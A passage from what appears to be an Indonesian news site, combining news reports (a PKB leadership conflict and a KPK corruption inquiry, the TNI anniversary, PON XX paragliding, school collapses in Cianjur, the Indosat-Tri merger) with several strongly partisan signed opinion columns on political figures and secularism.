konflik internal di PKB yang dibidani Gus Dur. Jejak digital banyak mencatat konflik tersebut. DetikNews pada Selasa, 8 April 2014, menulis, “Konflik dengan Muhaimin Terjadi Sampai Gus Dur Wafat”. Pihak keluarga menyebut, konflik antara Gus Dur dengan Imin itu benar-benar terjadi. Bahkan perseteruan itu berlangsung hingga Gus Dur wafat. Konflik itu ada sampai Gus Dur wafat. “Itu pernyataan (kubu Imin) direkayasa, diada-ada, keji, baik kepada Gus Dur, keluarga dan Gusdurian,” kata pengacara keluarga Gus Dur, Pasang Haro Rajagukguk, saat menggelar jumpa pers di Jalan Kuningan Timur No 12, Jakarta Selatan, Selasa (8/4/2014). Pasang Haro membeberkan rentetan konflik tersebut. Konflik pertama, saa Muktamar di Parung, Jabar, Imin membuat muktamar tandingan di Ancol dengan kepengurusan sendiri. Setelah itu, terjadi saling menggugat, sampai akhirnya Mahkamah Agung membatalkan kedua muktamar dan dikembalikan kepada hasil muktamar Surabaya pada 2005. “Tapi, kenyataannya Imin tidak melibatkan Gus Dur bahkan disingkirkan dan ditekan,” ungkap Pasang Haro. Pada saat putusan PTUN, muncullah pernyataan dari kelompok Imin bahwa Gus Dur meninggalkan PKB. “Itu menyakitkan. Setelah itu (Gus Dur) terjatuh dan pingsan di kamar mandi, sampai masuk rumah sakit berkali-kali,” ujar Pasang Haro. Pada pemilu 2009, kubu Imin memanfaatkan kebesaran dan ketokohan Gus Dur dengan memajang simbol Gus Dur di baliho. Saat itu Gus Dur menggugat dan dilupakan. Pada 2014, kata Pasang Haro, keluarga Gus Dur sudah mengultimatum PKB Imin untuk tidak memasang apapun tentang Gus Dur seperti foto dan suara. Tapi, pihak Imin tetap menggunakan simbol-simbol Gus Dur dalam setiap kampanye PKB. Istri alhamhum Gus Dur Ibu Sinta Nuriyah dan keluarga melalui pengacaranya pun melaporkan Imin ke Bawaslu. “Inti instruksi Gus Dur itu, Imin dan jajaran supaya tidak menggunakan atribut Gus Dur tanpa izinnya,” tegas Pasang Haro. Jadi, itulah “masalah” sebenarnya yang masih menyertai Imin hingga kini. Imin masih “berkonflik” dengan keluarga Gus Dur. Jadi, raihan jabatannya itu diperoleh melalui konflik internal PKB. Tak hanya itu. Terkait dengan korupsi yang melibatkan anggota PKB, Imin juga diperiksa KPK sebagai saksi kasus dugaan suap proyek di Kementerian Pekerjaan Umum dan Perumahan Rakyat. Tujuannya untuk melengkapi berkas penyidikan dengan tersangka Direktur dan Komisaris PT Sharleen Raya (JECO Group), Hong Arta John Alfred. Dia datang untuk memenuhi panggilan sebagai saksi dari Hong Artha. “Mestinya diagendakan besok tapi karena besok saya ada acara, saya minta maju dan alhamdulillah selesai semuanya sudah saya beri penjelasan ya selesai,” katanya usai diperiksa KPK, dilansirVIVAnews, Rabu (29/1/2021). Dikonfirmasi materi pemeriksaan, Imin enggan membeberkannya. Ia cuma membantah pernah menerima uang suap dalam proyek tersebut. “Tidak benar,” kata Wakil Ketua DPR itu. Upaya KPK memanggil dan memeriksa Imin berkaitan dengan permohonan Justice Collaborator yang diajukan mantan politikus PKB Musa Zainuddin pada Juli 2019. Musa menganggap dirinya bukanlah pelaku utama dalam kasus korupsi proyek infrastruktur di Kementerian PUPR. Ia mengaku hanya menjalankan perintah partai. Sebelumnya, KPK menolak permohonan JC yang diajukan Musa Zainuddin. Menurut KPK, Musa belum memenuhi syarat menjadi saksi pelaku yang bekerja sama untuk membongkar kasus hukum. Meski demikian, KPK mempersilakan bila Musa ingin kembali mengajukan JC. Pihak lembaga antirasuah itu mengatakan Musa mesti membuka peran pihak lain dengan lebih terang. Musa dihukum 9 tahun penjara karena terbukti menerima suap Rp 7 miliar untuk meloloskan proyek infrastruktur Kementerian PUPR di Maluku dan Maluku Utara tahun anggaran 2016. Uang itu berasal dari Direktur Utama PT Windhu Tunggal Utama, Abdul Khoir. Dari penjara, mantan Anggota Komisi Infrastruktur DPR ini mengirimkan surat permohonan JC ke KPK pada akhir Juli 2019. Dalam surat itu, Musa mengaku bahwa duit yang ia terima tak dinikmati sendiri. Sebagian besar duit itu, kata dia, diserahkan kepada Sekretaris Fraksi PKB kala itu, Jazilul Fawaid sejumlah Rp 6 miliar. Musa menyerahkan uang itu di kompleks rumah dinas anggota DPR kepada Jazilul. Setelah menyerahkan uang pada Jazilul, Musa langsung menelepon Ketua Fraksi PKB Helmy Faishal Zaini. Ia meminta Helmy menyampaikan pesan kepada Imin bahwa uang Rp 6 miliar sudah diserahkan lewat Jazilul. Keterangan ini tak pernah diungkap di persidangan. Ia mengaku memang menutupi peran para koleganya karena menerima instruksi dua petinggi partai. Dua petinggi partai ini mengatakan, Imin berpesan agar kasus itu berhenti di Musa. “Saya diminta berbohong dengan tidak mengungkap peristiwa sebenarnya,” kata Musa. (Bersambung)

Gubernur NTT: TNI Jadi Kekuatan Dalam Menjaga Kedalautan Negara

Kupang, FNN - Gubernur Provinsi Nusa Tenggara Timur Viktor Bungtilu Laiskodat menyatakan aparat TNI yang bertugas di kawasan perbatasan dengan negara asing merupakan penyangga utama bagi negara Indonesia dalam menjaga keutuhan kedaulatan Negara Kesatuan Republik Indonesia (NKRI) "Kita berharap TNI terus menjaga kedaulatan negara, terutama di daerah-daerah kawasan perbatasan dengan negara asing, seperti di wilayah NTT-Timor Leste karena TNI merupakan penyangga utama dalam menjaga kedaulatan Negara Kesatuan Republik Indonesia (NKRI)," kata Gubernur di Kupang, Selasa. Gubernur mengatakan hal itu terkait peran TNI yang pada 5 Oktober 2021 ini merayakan HUT Ke-76 Ia mengatakan keberadaan unsur TNI menjadi kekuatan utama dalam sistem pertahanan negara yang mampu menjaga keutuhan wilayah NKRI. "Kita berharap dengan HUT Ke-76 pada 2021, TNI tetap solid karena TNI merupakan kekuatan utama bagi negara ini dalam pertahanan Negara Kesatuan Republik Indonesia," tegas Viktor. Viktor menambahkan peran TNI yang bertugas menjaga keamanan wilayah-wilayah perbatasan di Provinsi Nusa Tenggara Timur dengan Negara Republik Demokratik Timor Leste (RDTL) selama ini sangat baik sehingga kondisi keamanan di kawasan perbatasan NTT dengan Timor Leste tetap dalam kondisi yang aman. "Pemerintah Provinsi NTT mengapresiasi peran TNI yang selama ini bertugas menjaga keamanan di kawasan perbatasan dengan Timor Leste yang mampu menjalankan misi dengan sukses," tegas Gubernur Viktor. (sws)

Panglima TNI Terima Kejutan dari Kapolri pada HUT Ke-76 TNI

Jakarta, FNN - Panglima TNI Marsekal Hadi Tjahjanto menerima kejutan dari Kapolri Jenderal Pol Listyo Sigit Prabowo dengan mengucapkan HUT Ke-76 TNI secara langsung kepada Panglima TNI, di Subden Merdeka Barat Denma Mabes TNI, Jakarta Pusat, Selasa. Panglima TNI pun mengucapkan terima kasih atas ucapan dan perhatian Kapolri serta seluruh jajaran kepolisian di seluruh Republik Indonesia pada Hari Ulang Tahun TNI. Marsekal Hadi mengaku sangat terharu terkait kejutan yang diberikan Kapolri sebagai bentuk perhatian dan sinergitas TNI-Polri sesuai dengan tema HUT Ke-76 TNI "Bersatu, Berjuang, Kita Pasti Menang". Kalimat tersebut dibuktikan dengan sinergi Prajurit TNI-Polri yang bertugas di seluruh wilayah Indonesia, termasuk di antaranya yang bertugas memutus mata rantai penyebaran COVID-19 dan mereka yang bertugas di perbatasan selalu bahu-membahu dalam melaksanakan tugas menjaga NKRI. Kejutan pada HUT Ke-76 TNI ini tidak saja diberikan kepada Panglima TNI, tetapi juga diberikan kepada seluruh jajaran TNI di Indonesia. Kejutan diberikan mulai dari Sabang sampai Merauke hingga ke satuan terkecil seperti koramil. "Saya yakin bahwa sinergi TNI-Polri adalah kebutuhan bagi Bangsa Indonesia untuk menjaga utuhnya wilayah NKRI," kata Marsekal Hadi dalam siaran persnya. Panglima TNI dan Kapolri berharap agar sinergitas TNI-Polri yang selama ini telah terjalin selalu dijaga dan ditingkatkan. Polri akan selalu mendukung TNI untuk menjaga keutuhan dan kedaulatan wilayah NKRI demi kejayaan bangsa dan negara. (sws)

Paralayang PON XX Tandem Lintas Alam akan Masuk Museum Rekor Dunia

Jayapura, FNN - Cabang olahraga paralayang pada Pekan Olahraga Nasional (PON) XX Papua pada nomor tandem lintas alam, akan masuk dalam pencatatan rekor Museum Rekor Dunia Indonesia (MURI). Ketua Paralayang Indonesia, Wahyu Yudha mengatakan, tandem lintas alam tersebut akan menjadi yang terbanyak di dunia. "Targetnya 23 parasut tandem," katanya, kepada Antara, di Jayapura, Selasa, 5 Oktober 2021. Menurut Wahyu, kegiatan lomba paralayang pada Selasa (5/10) adalah lintas alam tandem individual dan beregu. "Rencananya akan dimulai pukul 10 pagi waktu Jayapura," ujarnya. Senin kemarin, abang olahraga tersebut telah menyelesaikan babak pertama nomor lintas alam (Cross Country), baik untuk kategori individual putra, individual putri, beregu putra dan beregu putri. Nomor lintas alam diikuti oleh seluruh atlet yang terdiri dari 46 atlet putra dan 18 atlet putri. Mereka berasal dari sembilan provinsi. Kegiatan tersebut dilaksanakan di arena paralayang Kampung Buton, Kota Jayapura. Sedangkan pada Jumat (1/10), cabang olahraga paralayang telah menyelesaikan babak keempat nomor ketepatan mendarat atau accuracy. (MD).

Bupati Cianjur Perintahkan Inspektorat Audit Bangunan Sekolah Ambruk

Cianjur, FNN - Bupati Cianjur, Jawa Barat, Herman Suherman memerintahkan Inspektorat Daerah (Itda) setempat segera melakukan audit terkait pembangunan sekolah yang ambruk saat tahap pembangunan. Seab, sejak satu pekan terakhir, dua pembangunan sekolah tiba-tiba ambruk saat direnovasi. "Saya perintahkan inspektorat melakukan audit, karena sudah kedua kalinya bangunan sekolah yang sedang direnovasi ambruk bagian atapnya," kata Herman saat dihubungi Antara. Laporan pertama yang diterimanya, enam bangunan SMPN 1 Agrabinta ambruk beberapa hari yang lalu. Kemudian, yang terbaru bangunan SMPN 1 Pagelaran ambruk, menyebabkan tiga orang pekerja mengalami luka-luka. Kedua bangunan sekolah tersebut mendapat bantuan renovasi dari pemerintah. "Kami akan cek perencanaannya untuk pemeriksaan bukan hanya sekadar mengecek fisik. Akan tetapi, harus dilihat juga sisi perencanaannya apakah sudah sesuai atau belum. Sekarang kami punya orang teknik di inspektorat, sehingga tidak bisa dibohongi," katanya. Dia menegaskan, audit harus segera dilakukan sebelum pengerjaannya selesai, karena sangat berbahaya jika salah perencanaan. "Akan lebih bahaya lagi, kalau ambruknya atap bangunan terjadi saat anak-anak sedang belajar," ujarnya. Sebagaimana diketahui, tiga orang pekerja bangunan di SMPN 1 Pagelaran, Cianjur mengalami luka-luka akibat tertimpa atap bangunan yang sedang direnovasi tiba-tiba ambruk. Korban langsung dibawa ke Rumah Sakit Umum Daerah Pagelaran guna mendapatkan pertolongan medis. (MD).

Kemarahan atau Frustasi Seorang Menteri Sosial?

Oleh: Yusuf Blegur Menurut hemat pikir penulis yang sudah puluhan tahun aktif sebagai Pekerja Sosial Masyarakat (PSM) di Dinas Sosial Kota Bekasi. Hingga saat ini bersama Organisasi Sosial kemitraan Kementerian Sosial seperti TKSK, Tagana, Pendamping PKH, Karang Taruna, LLI, dll. Menggeluti dunia sosial dibawah naungan Kementerian Sosial, pada akhirnya menjadi berusaha mengerti dan memahami. Bahwasanya penanganan masalah sosial pada kementerian dengan spesialis mengurusi rakyat yang kehidupannya kurang beruntung itu. Pada esensinya sering menjumpai birokrasi dan mentalitas di dalamnya jauh lebih susah dan bermasalah ketimbang rakyat kecil yang layaknya lebih perlu diprioritaskan. Sosok Tri Rismaharini yang belakangan sering temperamen. Sejatinya menarik untuk menjadi bahan refleksi sekaligus evaluasi. Bukan saja buat Risma sendiri. Melainkan untuk para menteri dan pejabat lainnya terkait bagaimana bersikap dan berinteraksi dengan lingkungan kerjanya. Seketika Risma menyita perhatian publik. Perangainya mengundang pro dan kontra. Sebagian penuh kritik dan gugatan, sebagian lain ada yang memaklumi dan mendukung kemarahan Menteri Sosial RI itu. Berbekal Walikota Surabaya 2 periode yang dinilai sukses dan berprestasi. Tri Rismaharini bisa dibilang sangat menguasai ruang lingkup birokrasi. Sebagai pengambil keputusan, ia punya kemampuan untuk memenej program dan menghasilkan kebijakan publik yang terarah dan terukur. Begitupun sebaliknya, Risma terbiasa menghadapi masalah dan cara mengatasinya. Namun saat menjabat Menteri Sosial. Beberapa kali Risma menunjukan sikap yang tidak simpatik dan dianggap berlebihan. Mulai dari marah kepada bawahan, bersujud di kaki seorang tenaga kesehatan, menyapu halaman Syeikh di Padang Pariaman, dan masih banyak lagi kegiatan-kegiatan tak biasa seorang menteri yang disorot kamera. Dari semua itu yang paling banyak dan sering mendapat reaksi publik, saat Risma belakangan ini sering marah-marah dan menjadi viral. Ada dua hal yang menarik soal behavior Risma seperti itu dalam kapasitas Menteri Sosial. Boleh jadi ini merupakan representasi masalah yang sama para pejabat lainnya termasuk memungkinkan pada seorang presiden sekalipun. Pertama, tetap terkait soal pencitraan. Seiring era digitalisasi, sama seperti pemburu tahta lainnya. Risma memanfaatkan media sosial untuk menunjukkan siapa dirinya. Dalam hal ini Risma menyadari betul konsekuensinya. Aksinya di dunia maya itu bisa menjadi proses upgrading dan mendowngred figurnya. Kader Perempuan PDIP yang menjadi kesayangan Megawati Soekarno Putri, seperti berjudi mengharapkan mendapat apresiasi atau hujatan. Tergantung respon opini publik. Risma siap apapun resiko yang terjadi. Kedua, ini lebih substantif karena terkait masalah yang klasik dalam birokrasi pemerintahan. Fenomena Risma yang pernah didahului Ahok sang gubernur penista agama. Merupakan persoalan yang berkolerasi dengan personal dan sistem. Seperti yang dihadapi oleh negara ini sampai sekarang. Mana yang lebih utama menjadi sebab kebaikan atau keburukan suatu negara, personal atau sistem?. Di luar urusan panjat sosial. Perilaku Risma yang suka panjat darah itu (marah-marah dan memaki). Bisa diinterpretasikan sebagai sikap pemberontakannya terhadap sistem yang ada, khususnya terkait birokrasi di kementerian sosial. Atau mungkin juga itu bentuk rasa frustasi dari betapa begitu rusak dan bobroknya manajemen birokrasi yang menjadi leading sektor penanganan Pemerlu Pelayanan Kesejahteraan Sosial (PPKS). Kementerian Sosial yang menjadi baik buruknya wajah pemerintahan negara dalam menangani masalah utamanya kemiskinan rakyat. Memang terlanjur menyandang stigma kementerian paling marak korupsinya. Harusnya mengangkat tingkat kehidupan rakyat lebih baik dan menuju sejahtera. Lembaga pemerintahan yang pernah dibubarkan Gus Dur saat menjadi presiden ke-4 RI. Malah menjadi ladang subur perampokan uang rakyat. Risma juga masih ingat saat koleganya yang sesama kader PDIP dan menjadi menteri sosial sebelumnya melakukan korupsi bansos di tengah pandemi. Sebuah penghianatan wong cilik dari wong licik. Betapapun Tri Rismaharini berada dalam pusaran itu. Bisa ditarik konklusinya, bahwasanya Risma terlanjur terjebak diantara dia sebagai personal dan dia menjadi bagian dari sebuah sistem. Dengan catatan prihatin dari banyaknya Menteri sosial yang terjebak kasus korupsi sebelum Risma mendudukinya. Risma bukan saja dituntut mengelola karakter dirinya sendiri. Lebih dari itu Risma harus menghadapi sistem dan birokrasi yang dipimpin partai politik tempat ia dibesarkan dan bernaung di dalamnya. Sanggupkah Risma marah dan melawan atau memberontak dari keadaan dan sistem itu?. Tidak ada salahnya bagi Tri Rismaharini, untuk menyimak postulat ini. Dalam sistem politik yang sudah rusak hingga ke akarnya, sulit untuk seseorang membenahi atau memperbaikinya. Bahkan seseorang yang pikirannya baik dan suci sekalipun, ketika ada di dalamnya ia akan menjadi bagian dari kerusakan sistem itu sendiri. Untuk Tri Rismaharini yang entah sedang membangun citra. Atau sedang memberontak dan tulus membangun dan memperbaiki sistem dalam Kementerian Sosial. Kalau tidak sanggup melawan mainstream dan habit yang telah menjadi stelsel. Mulailah dari diri sendiri. Tentunya dengan sikap keteladanan. Terutama dari hal yang sederhana. Memancarkan atitude, sembari memberikan simpati dan empati. Terlebih pada sekecil-kecilnya pegawai dan serendah-rendahnya orang. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Dudung Tentara Radikal

By M Rizal Fadillah LETJEN TNI Dudung memiliki sikap yang kontroversial terutama yang berkaitan dengan perkembangan Komunis. Pernyataan bahwa PKI/Komunis tidak ada dan semua agama sama di depan Tuhan membuat hati miris. Apalagi sampai menghilangkan diorama sejarah pembasmian PKI yang merupakan kejahatan anti historis. Dudung adalah radikalis. Membuat pola dan gaya tentara berpolitik praktis. Lalu memojokkan sikap beragama yang fanatis. Dosa membuat patung dibuat sebagai alasan yang sepertinya logis. Padahal rakyat sama sekali tidak percaya pada kenaiifan yang bernarasi agamis. Penghilangan diorama pasti berefek kegembiraan pada aktivis Komunis. Pangkostrad Letjen TNI Dudung yang sebelumnya adalah Pangdam Jaya memang tokoh radikal yang dianggap gemar mengangkat isu radikalisme keagamaan. Istilah ekstrim kanan muncul kembali sementara ekstrim kiri tetap tenggelam. Untuk hal seperti ini wajar jika banyak yang bertanya-tanya. Dudungis adalah "faham" Dudung yang unik tetapi tidak simpatik khususnya kepada umat Islam. Ada empat karakter Dudungis, yaitu : Pertama, menyerang simbol tokoh agama termasuk obrak-abrik baliho HRS yang dinilai berlebihan. Radikalis yang masuk ke ruang politik praktis sekaligus melakukan kudeta atas Satuan Polisi Pamong Praja. Ketakutan bangsa, negara, dan tentara kepada Baliho direpresentasi oleh sikap dan karakter Dudung. Kedua, menyerang umat Islam dengan terus mempropagandakan isu radikalisme dan intoleran. Tidak pernah menyentuh radikal dan brutalnya PKI dan Komunis. Terkesan menafikan keberadaan dan pengembangan faham Komunis itu. Kostrad telah dibawa untuk mengurus isu atau pekerjaan yang bukan menjadi tugas pokoknya. Ketiga, memutar balikkan fakta saat tampil bersama Irjen Fadil Imran. Menuduh enam korban penembakan dan penganiayaan aparat sebagai penembak sehingga terjadi tembak menembak. Faktanya adalah keenam anggota Laskar FPI itu sengaja ditembak dan dibunuh dengan sadis. Di kilometer berapa saat itu Dudung berada ? Keempat, berdiplomasi dan menjilat melalui patung. Patung Soekarno dipasang di Akmil Magelang oleh Gubernur Akmil yang bernama Dudung, sementara patung Soeharto di Makostrad dibasmi di masa Pangkostrad yang bernama Dudung pula. Nuansa Orde Lama bangkit bersama Letjen TNI Dudung Abdurrahman. Dudung Abdurrahman bukan TNI teladan tetapi pribadi penuh kontroversi yang memendam misteri dari misi pribadi, kroni, atau elit tirani. TNI sebaiknya tetap netral dan jangan dipolitisasi. Dirgahayu TNI ke 76. Bersama rakyat TNI kuat. *) Pemerhati Politik dan Kebangsaan

Tsunami Liberalisasi dan Sekulerisasi

Oleh: Yusuf Blegur Bagai sepasang sejoli dalam hubungan terlarang. Maraknya penistaan agama Islam, penghinaan Nabi Muhammad Shallallahu Alaihi Wassalam, pelecehan dan penganiayaan para ulama. Skenario perbuatan rendah dan keji itu dilakukan seiring sejalan dengan upaya beberapa tokoh, politisi dan pejabat negara memasarkan secara masal pola hidup liberal dan sekuler di negeri ini. Kedua fenomena itu seakan menjadi pasangan sejoli yang seiring-sejalan dan sehidup-semati dari penyelenggaraan negara yang mengangkangi keberadaan Tuhan. Meski dengan landasan Panca Sila dan salah satu isi Pembukaan UUD 1945 yang bernarasi "Atas berkat rahmat Allah Yang Maha Kuasa, dan dengan didorong oleh keinginan luhur, supaya berkehidupan kebangsaan yang bebas, maka rakyat Indonesia dengan ini menyatakan kemerdekaannya". BETAPA akhir-akhir ini, negara terus mempertontonkan praktek-praktek kehidupan yang berorientasi pada materialisme. Seakan hidup ini diadakan hanya untuk memenuhi kebutuhan lahiriah, sementara aspek batiniah menjadi tidak penting lagi. Pemenuhan materiil ditempatkan sebagai alat untuk memenuhi kebahagiaan dan keberadaban. Standar kelayakan hidup hanya diukur pada status sosial yang tercermin dari kepemilikan kekayaan dan jabatan semata. Semua pola pikir dan perilaku, tidak lagi mengindahkan aturan dan norma. Bukan hanya terhadap konstitusi negara, bahkan nilai-nilai agama juga ikut dicampakkan. Negara terus mengambil peran dan posisi yang superior terhadap keberlangsungan hidup rakyatnya, hingga sampai pada hal kecil dan sepele. Dengan atau tanpa agama, negara tetap bersikeras mengatur dan mengelola hajat hidup rakyat. Dilain sisi, batas eksistensi sebuah negara dengan kekuatan kelompok tertentu seperti ideologi, aliran politik, sekte agama, bahkan pada korporasi bermodal besar dan transnasional, semakin tipis. Kesadaran yang tersisa, menangkap itu sebagai gejala adanya kekuatan yang sedang berupaya menguasai sumber daya alam, sumber daya manusia dan sumber daya ekonomi lainnya secara global. Negara melalui aparaturnya baik partai politik dan birokrasi pemerintah. Terus memproduksi gagasan pemikiran dan kebijakan yang kapitalistik. Rakyat dipaksa mengikuti regulasi yang bersumber pada semangat pemenuhan hawa nafsu. Hawa nafsu pada kebendaan dan hawa nafsu pada sesama manusia. Perlahan namun pasti, kehidupan rakyat terus mengalami kemunduran kualitas kemanusiaannya. Sementara keadaan negara yang seperti itu, merupakan rangkaian dari sistem global berazas kapitalisme yang mengedepankan liberalisasi dan sekulerisasi. Dimana kemampuan akal manusia pada intervensi penguasaan alam dan teknologi bukan hanya mereduksi, bahkan meniadakan keberadaan Tuhan. Agama telah menjadi formalitas dan tendensi kebendaan menjadi tuntunan dan tuntutan hidup. Negara perlahan namun pasti menggantikan peran agama. Tuhan semakin terpinggirkan dan jarang hadir dalam proses penyelenggaran kehidupan berbangsa dan bernegara. Atas nama globalisasi dan tata pergaulan internasional. Pemerintah tidak hanya sekedar menerapkan kehidupan yang liberal dan sekuler. Rakyat ditekan sedemikian rupa, agar terpisah dari keyakinan keagamaannya. Masyarakat boleh beragama dan tidak, namun kepatuhan terhadap negara harus ditempatkan di atas segala-galanya. Kekuasaan terus membangun dan mengokohkan sistem politik yang memisah relasi agama dari negara. Pada akhirnya hanya melahirkan masyarakat yang jauh dari nilai-nilai, baik secara sosiologis maupun hubungan yang bersifat transedental. Dalam sistem yang berorientasi pada kebebasan tanpa batas dan pencapaian materi tanpa ukuran. Masyarakat dibentuk tak ubahnya menjadi populasi pemburu kenikmatan biologis. Aspek-Aspek ilmu pengetahuan dan teknologi, hanya dijadikan kuda tunggangan untuk melampiaskan hasrat memiliki dan menguasai. Praktis, pemerintah mengalami kebuntuan dan kegagalan membangun negara kesejahteraan bagi rakyatnya. Keyakinan luhur yang mewujud dalam Panca Sila dan UUD 1945 sebagai komitmen dan konsensus nasional. Keberadaanya cukup dan pantas hanya sebatas simbol dan jargon. Tak pernah terpakai dan menjadi barang usang. Pemerintah dengan semua otoritas dan kewenangannya, seperti linglung dan kehabisan energi membangun negara bangsa. Rezim ini begitu sulit mengadakan kemakmuran dan keadilan. Akan tetapi begitu mudah mengeksploitasi rakyatnya. Termasuk menguras kekayaan alam, merampok uang negara dan bejibun hutang luar negeri yang membebani rakyat. Termasuk dalam upaya memanfaatkan era digitalisasi yang melahirkan keberlimpahan informasi. Alih-alih mendorong lebih banyak kemaslahatan dan mencerdaskan kehidupan masyarakat. Pemerintah justru menjadikan teknologi informasi itu menjadi alat melanggengkan kekuasaan dan menguatkan infiltrasi gerakan pembodohan melalui disinformasi dan dehumanisasi. Rekayasa informasi dan komunikasi baik di media mainstream maupun media sosial, lebih sukses menampilkan buzzer berbayar APBN, kamuflase berita, dan memicu disintegrasi sosial. Bencana Kemanusiaan dan Keagamaan Ketimbang membuat turunan dari nilai dan mewujudkan kehidupan beragama yang santun dan humanis. Pemerintah malah menghadirkan liberalisasi dan sekulerisasi sebagai landasan dan falsafah negara. Agama semakin dianggap sebagai candu bagi masyarakat. Agama menjadi penghambat produktifitas dan kemajuan peradaban manusia. Agama juga tidak segan-segan dijadikan alas kaki dari kapitalisme dan gaya hidup hedonisme. Politik oligarki, hegemoni dan dominasi borjuasi korporasi tampil menguasai panggung politik dan ekonomi nasional. Perdagangan hukum dan amputasi demokrasi menjadi menu sehari-hari kinerja politisi dan birokrasi yang konspiratif. Rezim kekuasaan secara intensif menggali jurang ketimpangan sosial. Konstitusi mudah dibeli, sebagian besar aparatur negara lebih suka menjual diri. Rakyat bukan hanya dirampok kekayaannya saja. Hak konstitusi dan asasinya juga turut diperkosa. Penganiayaan, perampasan dan pembunuhan tidak lagi dilakukan oleh para preman dan kriminal atau mafia dan koorporasi hitam. Aparat penegak hukum dan pimpinan institusi pemerintahan , cenderung melakukan hal yang sama. Melalui operasi intelijen yang tidak senyap dan telanjang, keamanan negara bisa menggunakan kekuatannya untuk menyakiti dan menindas rakyat. Dengan narasi jika diperlukan dan atas nama undang-undang. Demi stabilitas negara dan tegaknya kedaulatan hukum. Kini, negara tidak sekedar dalam keadaan tidak baik-baik saja. Indonesia telah larut menapak jalan kesesatan bernegara. Sebagai sebuah pemilik kedaulatan yang konstitusional, rakyat terus mengalami intimidasi dan teror dari penyelewengan dan penghianatan rezim kekuasaan. Pemerintah yang harusnya melindungi, mengayomi dan melayani rakyat. Akan tetapi yang terjadi malah sebaliknya. Pemerintah bagai virus ganas yang bermutasi menjadi monster berbahaya, pembawa penyakit pandemi yang sesungguhnya, menggerogoti kesehatan dan keselamatan rakyat. Kenyataannya, liberalisasi dan sekulerisasi tak dapat dibendung di negeri ini. Ia seperti gelombang tsunami yang meruntuhkan moral dan aqidah umat. Bukan hanya berdampak menghasilkan banyak para pejabat dan pemimpin yang tuna susila. Negara juga agresif merusak fundamental keagamaan dan menghancurkan yang radikal dari rakyat, berupa hak asasi dan esensi kemanusiaannya. Tak luput juga, menghilangkan fungsi agama dalam mencerahkan kesadaran ideal spiritual dan rasional material mayoritas bangsanya. Setelah hilangnya akal sehat dan maraknya kebiadaban. Sembari menuju klimaks distorsi penyelengaaran negara. Mungkin, rakyat hanya bisa menunggu kehadiran Tuhan dan apa jawabanNya atas semua yang terjadi di republik ini. Semoga bukan bencana alam dahsyat atau tragedi kemanusiaan yang memilukan. Sebagai penegasan bahwa begitu lemahnya kekuasaan manusia di mata Tuhan. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari

Pengamat: Merger Indosat-Tri Untungkan Konsumen Telekomunikasi

Jakarta, FNN - Pengamat telekomunikasi dari ITB Joseph M Edward menilai merger (penggabungan) Indosat dan Tri dapat menciptakan industri telekomunikasi yang lebih sehat, sekaligus menguntungkan bagi konsumen karena dapat menikmati layanan telekomunikasi dengan tarif terjangkau dan berkualitas. “Penggabungan ini bisa menciptakan layanan dan inovasi terbaik, yang didorong terciptanya struktur pasar dan industri yang lebih kompetitif,” kata Ketua Pusat Studi Kebijakan Industri dan Regulasi Telekomunikasi Indonesia ITB Joseph Matheus Edward, di Jakarta, Senin. Penggabungan jaringan dan alokasi spektrum (aset jaringan) Indosat dan Tri semakin memperluas jangkauan 4G dan menghadirkan kecepatan internet yang lebih cepat bagi pelanggan. “Konektivitas internet menjadi kunci untuk mencapai pemerataan pendidikan dan peluang ekonomi yang lebih baik, terutama di daerah terpencil,” katanya. Menurut catatan, jumlah BTS 4G setelah penggabungan Indosat-Tri mencapai 97,863 BTS, terdiri atas 66,313 BTS milik Indosat dan 31,550 BTS milik Tri. Menurut Joseph, Indosat merupakan operator yang mampu memberikan layanan telekomunikasi dari hulu ke hilir bagi korporasi hingga konsumen sebagai pengguna akhir layanan internet, sementara Tri unggul dalam layanan data. “Indosat dikenal kuat pada infrastruktur jaringan, sedangkan Tri dikenal dengan operator yang memberikan layanan data unlimited baik volume maupun basis waktu, yang jika disatukan memiliki kekuatan besar dalam memperluas layanan hingga ke seluruh wilayah Tanah Air,” katanya. Untuk mempercepat transformasi digital dan pengembangan potensi daerah, Indosat belum lama ini telah memperluas jangkauan layanan 4G/LTE di 124 desa terpencil, dan ditargetkan mencapai 645 desa terpencil pada tahun 2020. Ia menambahkan, dalam mempercepat peningkatan kapasitas dan perluasan jaringan, Indosat-Tri yang akan berganti nama menjadi Indosat Ooredoo Hutchison itu sejatinya tidak memiliki kesulitan, karena dibackup pemegang saham yang berbasis di Qatar dan Hongkong. Indosat Ooredoo Hutchison dapat memanfaatkan pengalaman, komitmen dan keahlian Grup Ooredoo dan CK Hutchison dalam hal jaringan, teknologi, produk dan layanan. Selain juga bisa memanfaatkan operasi multinasional mereka yang mencakup pasar utama di Eropa, Timur Tengah, Afrika Utara, dan Asia Pacific. Untuk era 5G, ia menjelaskan Indosat Ooredoo Hutchison juga tidak akan memiiki kesulitan karena telah telah menggelar uji jaringan layanan 5G di sejumlah kota di Indonesia. Dari sisi frekuensi, penggabungan Indosat dan Tri telah menggenggam spektrum frekuensi sebesar 72,5 MHz terdiri atas frekuensi 900 MHz (2 X 12,5), frekuensi 1800 MHz (2 X 20, 2 X 10), dan frekuensi 2100 MHz (4 X 15). Empat Operator Penggabungan Indosat-Tri juga dinilai menyatukan dua bisnis yang saling melengkapi untuk menciptakan perusahaan telekomunikasi dan internet digital kelas dunia, lebih kuat secara komersial dan lebih kompetitif. “Jumlah pemain telekomunikasi di Indonesia idealnya 4 operator, sehingga mudah mengawasi layanan kepada konsumen sesuai dengan service level agreement yang disediakan operator,” katanya. Sementara itu, Pengamat Kebijakan Publik Agus Pambagio yang mengatakan publik tidak mempersoalkan berapa jumlah operator telekomunikasi yang idel di Indonesia. “Jumlah operator bisa saja berkurang menjadi 3 perusahaan. Namun, yang terpenting dalam industri terjadi persaingan usaha yang sehat, tidak banting-bantingan harga yang terkadang mengorbankan kualitas,” katanya. Ia menjelaskan, yang diinginkan konsumen sederhana yaitu layanan terjangkau dan sebaran jraingan lebih luas ke pelosok Nusantara, karena hingga kini masih banyak desa yang belum tersambung layanan telekomunikasi dasar. “Dari sisi kebijakan, Pemerintah harus mampu membuat industri ini lebih efisien, tarif terjangkau dan koneksi internet tidak terputus, seperti halnya yang terjadi di negara lain,” katanya. Sebelumnya, Director & Chief Operating Officer Indosat Ooredoo Vikram Sinha mengatakan penggabungan Indosat-Tri di Indonesia diyakini mampu mempercepat inovasi digital serta kualitas layanan di Indonesia. "Penggabungan dua 